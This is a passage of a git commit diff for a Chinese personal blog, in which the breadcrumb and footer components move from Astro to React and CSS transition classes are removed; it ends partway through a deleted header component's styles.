统一组件使用astro,优化css样式,新增文章,优化文章格式
This commit is contained in:
parent
57d406c277
commit
0d48cc8591
7107
package-lock.json
generated
7107
package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@ -1,69 +0,0 @@
|
||||
---
|
||||
// 面包屑导航组件
|
||||
// 接收当前页面类型、路径段和标签过滤器作为参数
|
||||
|
||||
interface Breadcrumb {
|
||||
name: string;
|
||||
path: string;
|
||||
}
|
||||
|
||||
export interface Props {
|
||||
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
|
||||
pathSegments?: string[]; // 路径段数组
|
||||
tagFilter?: string; // 标签过滤器
|
||||
articleTitle?: string; // 文章标题(仅在文章详情页使用)
|
||||
}
|
||||
|
||||
const { pageType, pathSegments = [], tagFilter = '', articleTitle = '' } = Astro.props;
|
||||
|
||||
// 将路径段转换为面包屑对象
|
||||
const breadcrumbs: Breadcrumb[] = pathSegments
|
||||
.filter(segment => segment.trim() !== '')
|
||||
.map((segment, index, array) => {
|
||||
const path = array.slice(0, index + 1).join('/');
|
||||
return { name: segment, path };
|
||||
});
|
||||
|
||||
---
|
||||
|
||||
<div class="flex items-center text-sm">
|
||||
<!-- 文章列表链接 -->
|
||||
<a href="/articles" class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fill-rule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
文章
|
||||
</a>
|
||||
|
||||
{/* 标签过滤 */}
|
||||
{tagFilter && (
|
||||
<>
|
||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<span class="text-secondary-600 dark:text-secondary-400 flex items-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fill-rule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clip-rule="evenodd" />
|
||||
</svg>
|
||||
{tagFilter}
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
|
||||
{/* 目录路径 */}
|
||||
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
|
||||
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
|
||||
return (
|
||||
<span>
|
||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} class="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
|
||||
{/* 文章标题 */}
|
||||
{pageType === 'article' && articleTitle && (
|
||||
<>
|
||||
<span class="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<span class="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
72
src/components/Breadcrumb.tsx
Normal file
72
src/components/Breadcrumb.tsx
Normal file
@ -0,0 +1,72 @@
|
||||
import React from 'react';
|
||||
|
||||
interface Breadcrumb {
|
||||
name: string;
|
||||
path: string;
|
||||
}
|
||||
|
||||
export interface BreadcrumbProps {
|
||||
pageType: 'articles' | 'article' | 'timeline'; // 页面类型
|
||||
pathSegments?: string[]; // 路径段数组
|
||||
tagFilter?: string; // 标签过滤器
|
||||
articleTitle?: string; // 文章标题(仅在文章详情页使用)
|
||||
}
|
||||
|
||||
export function Breadcrumb({
|
||||
pageType,
|
||||
pathSegments = [],
|
||||
tagFilter = '',
|
||||
articleTitle = ''
|
||||
}: BreadcrumbProps) {
|
||||
// 将路径段转换为面包屑对象
|
||||
const breadcrumbs: Breadcrumb[] = pathSegments
|
||||
.filter(segment => segment.trim() !== '')
|
||||
.map((segment, index, array) => {
|
||||
const path = array.slice(0, index + 1).join('/');
|
||||
return { name: segment, path };
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="flex items-center text-sm">
|
||||
{/* 文章列表链接 */}
|
||||
<a href="/articles" className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 flex items-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fillRule="evenodd" d="M4 4a2 2 0 012-2h4.586A2 2 0 0112 2.586L15.414 6A2 2 0 0116 7.414V16a2 2 0 01-2 2H6a2 2 0 01-2-2V4zm2 6a1 1 0 011-1h6a1 1 0 110 2H7a1 1 0 01-1-1zm1 3a1 1 0 100 2h6a1 1 0 100-2H7z" clipRule="evenodd" />
|
||||
</svg>
|
||||
文章
|
||||
</a>
|
||||
|
||||
{/* 标签过滤 */}
|
||||
{tagFilter && (
|
||||
<>
|
||||
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<span className="text-secondary-600 dark:text-secondary-400 flex items-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" className="h-4 w-4 mr-1" viewBox="0 0 20 20" fill="currentColor">
|
||||
<path fillRule="evenodd" d="M17.707 9.293a1 1 0 010 1.414l-7 7a1 1 0 01-1.414 0l-7-7A.997.997 0 012 10V5a3 3 0 013-3h5c.256 0 .512.098.707.293l7 7zM5 6a1 1 0 100-2 1 1 0 000 2z" clipRule="evenodd" />
|
||||
</svg>
|
||||
{tagFilter}
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
|
||||
{/* 目录路径 */}
|
||||
{!tagFilter && breadcrumbs.map((crumb: Breadcrumb, index: number) => {
|
||||
const crumbPath = breadcrumbs.slice(0, index + 1).map((b: Breadcrumb) => b.name).join('/');
|
||||
return (
|
||||
<span key={`crumb-${index}`}>
|
||||
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<a href={`/articles?path=${encodeURIComponent(crumbPath)}`} className="text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400">{crumb.name}</a>
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
|
||||
{/* 文章标题 */}
|
||||
{pageType === 'article' && articleTitle && (
|
||||
<>
|
||||
<span className="mx-2 text-secondary-300 dark:text-secondary-600">/</span>
|
||||
<span className="text-secondary-600 dark:text-secondary-400 truncate max-w-[150px] sm:max-w-[300px]">{articleTitle}</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
@ -100,7 +100,7 @@ export const Countdown: React.FC<CountdownProps> = ({ targetDate, className = ''
|
||||
|
||||
const TimeBox = ({ value, label }: { value: number; label: string }) => (
|
||||
<div className="text-center px-4">
|
||||
<div className="text-4xl font-light transition-all duration-300">
|
||||
<div className="text-4xl font-light">
|
||||
{value.toString().padStart(2, '0')}
|
||||
</div>
|
||||
<div className="text-sm mt-1 text-gray-500 dark:text-gray-400">{label}</div>
|
||||
|
@ -190,7 +190,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
||||
</div>
|
||||
<button
|
||||
onClick={() => fetchData()}
|
||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
|
||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
|
||||
>
|
||||
重试
|
||||
</button>
|
||||
@ -227,14 +227,14 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
||||
{items.map((item, index) => (
|
||||
<div
|
||||
key={`${item.title}-${index}`}
|
||||
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg transition-shadow duration-300"
|
||||
className="mb-6 bg-white dark:bg-gray-800 rounded-lg shadow-md overflow-hidden hover:shadow-lg"
|
||||
>
|
||||
<a href={item.link} target="_blank" rel="noopener noreferrer" className="block">
|
||||
<div className="relative pb-[140%] overflow-hidden">
|
||||
<img
|
||||
src={item.imageUrl}
|
||||
alt={item.title}
|
||||
className="absolute inset-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105"
|
||||
className="absolute inset-0 w-full h-full object-cover hover:scale-105"
|
||||
loading="lazy"
|
||||
onError={(e) => {
|
||||
const target = e.target as HTMLImageElement;
|
||||
@ -263,7 +263,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
||||
<button
|
||||
onClick={() => handlePageChange(pagination.current - 1)}
|
||||
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||
aria-label="上一页"
|
||||
@ -286,7 +286,7 @@ const DoubanCollection: React.FC<DoubanCollectionProps> = ({ type, doubanId, cla
|
||||
<button
|
||||
onClick={() => handlePageChange(pagination.current + 1)}
|
||||
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||
aria-label="下一页"
|
||||
|
@ -1,63 +0,0 @@
|
||||
---
|
||||
interface Props {
|
||||
icp?: string;
|
||||
psbIcp?: string;
|
||||
psbIcpUrl?: string;
|
||||
}
|
||||
|
||||
const {
|
||||
icp = "",
|
||||
psbIcp = "",
|
||||
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
|
||||
} = Astro.props;
|
||||
|
||||
const currentYear = new Date().getFullYear();
|
||||
---
|
||||
|
||||
<footer class="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
|
||||
<div class="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
|
||||
<div class="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
|
||||
|
||||
{icp && (
|
||||
<a
|
||||
href="https://beian.miit.gov.cn/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
||||
aria-label="工信部备案信息"
|
||||
>
|
||||
{icp}
|
||||
</a>
|
||||
)}
|
||||
|
||||
{psbIcp && (
|
||||
<a
|
||||
href={psbIcpUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="flex items-center hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
||||
aria-label="公安部备案信息"
|
||||
>
|
||||
<img src="/images/national.png" alt="公安备案" class="h-4 mr-1" width="14" height="16" loading="lazy" />
|
||||
{psbIcp}
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div class="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
|
||||
<a href="https://blog.lsy22.com" class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200">
|
||||
© {currentYear} New Echoes. All rights reserved.
|
||||
</a>
|
||||
<span aria-hidden="true" class="hidden sm:inline">·</span>
|
||||
<a
|
||||
href="/sitemap-index.xml"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="hover:text-primary-600 dark:hover:text-primary-400 transition-colors duration-200"
|
||||
aria-label="网站地图"
|
||||
>
|
||||
Sitemap
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
65
src/components/Footer.tsx
Normal file
65
src/components/Footer.tsx
Normal file
@ -0,0 +1,65 @@
|
||||
import React from 'react';
|
||||
|
||||
interface FooterProps {
|
||||
icp?: string;
|
||||
psbIcp?: string;
|
||||
psbIcpUrl?: string;
|
||||
}
|
||||
|
||||
export function Footer({
|
||||
icp = "",
|
||||
psbIcp = "",
|
||||
psbIcpUrl = "http://www.beian.gov.cn/portal/registerSystemInfo",
|
||||
}: FooterProps) {
|
||||
const currentYear = new Date().getFullYear();
|
||||
|
||||
return (
|
||||
<footer className="w-full py-6 px-4 bg-gray-50 dark:bg-dark-bg border-t border-gray-200 dark:border-gray-800 mt-auto">
|
||||
<div className="max-w-5xl mx-auto flex flex-col items-center justify-center space-y-4">
|
||||
<div className="flex flex-wrap items-center justify-center gap-4 text-sm text-gray-600 dark:text-gray-400">
|
||||
|
||||
{icp && (
|
||||
<a
|
||||
href="https://beian.miit.gov.cn/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="hover:text-primary-600 dark:hover:text-primary-400"
|
||||
aria-label="工信部备案信息"
|
||||
>
|
||||
{icp}
|
||||
</a>
|
||||
)}
|
||||
|
||||
{psbIcp && (
|
||||
<a
|
||||
href={psbIcpUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-center hover:text-primary-600 dark:hover:text-primary-400"
|
||||
aria-label="公安部备案信息"
|
||||
>
|
||||
<img src="/images/national.png" alt="公安备案" className="h-4 mr-1" width="14" height="16" loading="lazy" />
|
||||
{psbIcp}
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="text-sm text-gray-500 dark:text-gray-500 font-light flex flex-wrap items-center justify-center gap-2">
|
||||
<a href="https://blog.lsy22.com" className="hover:text-primary-600 dark:hover:text-primary-400">
|
||||
© {currentYear} New Echoes. All rights reserved.
|
||||
</a>
|
||||
<span aria-hidden="true" className="hidden sm:inline">·</span>
|
||||
<a
|
||||
href="/sitemap-index.xml"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="hover:text-primary-600 dark:hover:text-primary-400"
|
||||
aria-label="网站地图"
|
||||
>
|
||||
Sitemap
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
);
|
||||
}
|
@ -284,7 +284,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
||||
</div>
|
||||
<button
|
||||
onClick={() => fetchData(pagination.current)}
|
||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded transition-colors"
|
||||
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
|
||||
>
|
||||
重试
|
||||
</button>
|
||||
@ -331,10 +331,10 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
||||
columnClassName="pl-4 bg-clip-padding"
|
||||
>
|
||||
{projects.map((project, index) => (
|
||||
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
|
||||
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 shadow-lg">
|
||||
<a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5">
|
||||
<div className="flex items-start">
|
||||
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50 transition-colors">
|
||||
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50">
|
||||
{getPlatformIcon(project.platform as GitPlatform)}
|
||||
</div>
|
||||
<div className="ml-3 flex-1">
|
||||
@ -353,7 +353,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
||||
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
|
||||
</div>
|
||||
|
||||
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-1 mt-2">{project.name}</h3>
|
||||
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 line-clamp-1 mt-2">{project.name}</h3>
|
||||
|
||||
<div className="h-12 mb-3">
|
||||
{project.description ? (
|
||||
@ -406,7 +406,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
||||
<button
|
||||
onClick={() => handlePageChange(pagination.current - 1)}
|
||||
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
|
||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging
|
||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||
aria-label="上一页"
|
||||
@ -429,7 +429,7 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
|
||||
<button
|
||||
onClick={() => handlePageChange(pagination.current + 1)}
|
||||
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
|
||||
className={`px-4 py-2 rounded transition-colors ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging
|
||||
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
|
||||
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
|
||||
aria-label="下一页"
|
||||
|
@ -1,582 +0,0 @@
|
||||
---
|
||||
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
|
||||
import { ThemeToggle } from './ThemeToggle';
|
||||
|
||||
// 获取当前路径
|
||||
const currentPath = Astro.url.pathname;
|
||||
|
||||
// 移除结尾的斜杠以统一路径格式
|
||||
const normalizedPath = currentPath.endsWith('/') ? currentPath.slice(0, -1) : currentPath;
|
||||
|
||||
// 定义导航链接
|
||||
|
||||
---
|
||||
<header class="fixed w-full top-0 z-50 transition-all duration-300" id="main-header">
|
||||
<div class="absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 transition-all duration-300" id="header-bg"></div>
|
||||
<nav class="relative">
|
||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
|
||||
<div class="flex justify-between h-16">
|
||||
<!-- Logo 部分 -->
|
||||
<div class="flex items-center">
|
||||
<a href="/" class="text-xl md:text-2xl font-bold tracking-tight transition-all duration-300 ease-in-out bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
|
||||
{SITE_NAME}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<!-- 导航链接 -->
|
||||
<div class="hidden md:flex md:items-center md:space-x-8">
|
||||
<!-- 桌面端搜索框 -->
|
||||
<div class="relative">
|
||||
<input
|
||||
type="text"
|
||||
id="desktop-search"
|
||||
class="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
|
||||
placeholder="搜索文章..."
|
||||
/>
|
||||
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||
<svg class="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<!-- 搜索结果容器(默认隐藏) -->
|
||||
<div id="desktop-search-results" class="absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 hidden">
|
||||
<!-- 结果将通过JS动态填充 -->
|
||||
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="desktop-search-message">
|
||||
<p>输入关键词开始搜索</p>
|
||||
</div>
|
||||
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="desktop-search-list"></ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{NAV_LINKS.map(link => (
|
||||
<a
|
||||
href={link.href}
|
||||
class:list={[
|
||||
'inline-flex items-center px-1 pt-1 text-sm font-medium transition-colors duration-200',
|
||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
|
||||
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
|
||||
]}
|
||||
>
|
||||
{link.text}
|
||||
</a>
|
||||
))}
|
||||
<ThemeToggle client:load />
|
||||
</div>
|
||||
|
||||
<!-- 移动端菜单按钮 -->
|
||||
<div class="flex items-center md:hidden">
|
||||
<!-- 移动端搜索按钮 -->
|
||||
<button
|
||||
type="button"
|
||||
id="mobile-search-button"
|
||||
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2 transition-colors"
|
||||
aria-expanded="false"
|
||||
aria-label="搜索"
|
||||
>
|
||||
<span class="sr-only">搜索</span>
|
||||
<svg class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
class="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 transition-colors"
|
||||
id="mobile-menu-button"
|
||||
aria-expanded="false"
|
||||
aria-label="打开菜单"
|
||||
>
|
||||
<span class="sr-only">打开菜单</span>
|
||||
<svg class="h-6 w-6 block" id="menu-open-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16" />
|
||||
</svg>
|
||||
<svg class="h-6 w-6 hidden" id="menu-close-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 移动端搜索面板 -->
|
||||
<div id="mobile-search-panel" class="hidden md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700">
|
||||
<div class="relative">
|
||||
<input
|
||||
type="text"
|
||||
id="mobile-search"
|
||||
class="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600 transition-all duration-300"
|
||||
placeholder="搜索文章..."
|
||||
/>
|
||||
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||
<svg class="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</div>
|
||||
<button
|
||||
id="mobile-search-close"
|
||||
class="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
|
||||
aria-label="关闭搜索"
|
||||
>
|
||||
<svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<!-- 移动端搜索结果 -->
|
||||
<div id="mobile-search-results" class="mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm hidden">
|
||||
<!-- 结果将通过JS动态填充 -->
|
||||
<div class="p-4 text-center text-gray-500 dark:text-gray-400" id="mobile-search-message">
|
||||
<p>输入关键词开始搜索</p>
|
||||
</div>
|
||||
<ul class="divide-y divide-gray-200/70 dark:divide-gray-700/70" id="mobile-search-list"></ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 移动端菜单 -->
|
||||
<div class="hidden md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
|
||||
<div id="mobile-menu-bg">
|
||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
|
||||
<div class="grid gap-1">
|
||||
{NAV_LINKS.map(link => (
|
||||
<a
|
||||
href={link.href}
|
||||
class:list={[
|
||||
'flex items-center px-3 py-3 rounded-lg text-base font-medium transition-all duration-200 ease-in-out',
|
||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
|
||||
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
|
||||
]}
|
||||
>
|
||||
{link.text}
|
||||
</a>
|
||||
))}
|
||||
<div class="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2 transition-colors duration-200" id="theme-toggle-container">
|
||||
<span class="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
|
||||
<ThemeToggle client:load />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
</header>
|
||||
|
||||
<style>
|
||||
#header-bg {
|
||||
opacity: 1;
|
||||
backdrop-filter: blur(0);
|
||||
transition: all 0.5s ease;
|
||||
}
|
||||
|
||||
#header-bg.scrolled {
|
||||
backdrop-filter: blur(6px);
|
||||
background: rgba(249, 250, 251, 0.8);
|
||||
box-shadow:
|
||||
0 1px 2px rgba(0, 0, 0, 0.04),
|
||||
0 2px 4px rgba(0, 0, 0, 0.04),
|
||||
0 4px 8px rgba(0, 0, 0, 0.04);
|
||||
}
|
||||
|
||||
:global([data-theme="dark"]) #header-bg.scrolled {
|
||||
background: rgba(15, 23, 42, 0.8);
|
||||
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3), 0 2px 4px -1px rgba(0, 0, 0, 0.2);
|
||||
}
|
||||
|
||||
/* 移动端菜单样式 */
|
||||
#mobile-menu {
|
||||
/* 移除过渡效果,确保菜单内容立即显示 */
|
||||
opacity: 1;
|
||||
transform: translateY(0);
|
||||
max-height: calc(100vh - 4rem);
|
||||
overflow-y: auto;
|
||||
/* 确保子元素不受过渡效果影响 */
|
||||
contain: layout;
|
||||
}
|
||||
|
||||
/* 移动端菜单背景 */
|
||||
#mobile-menu-bg {
|
||||
/* 直接应用高斯模糊,不使用过渡效果 */
|
||||
-webkit-backdrop-filter: blur(6px);
|
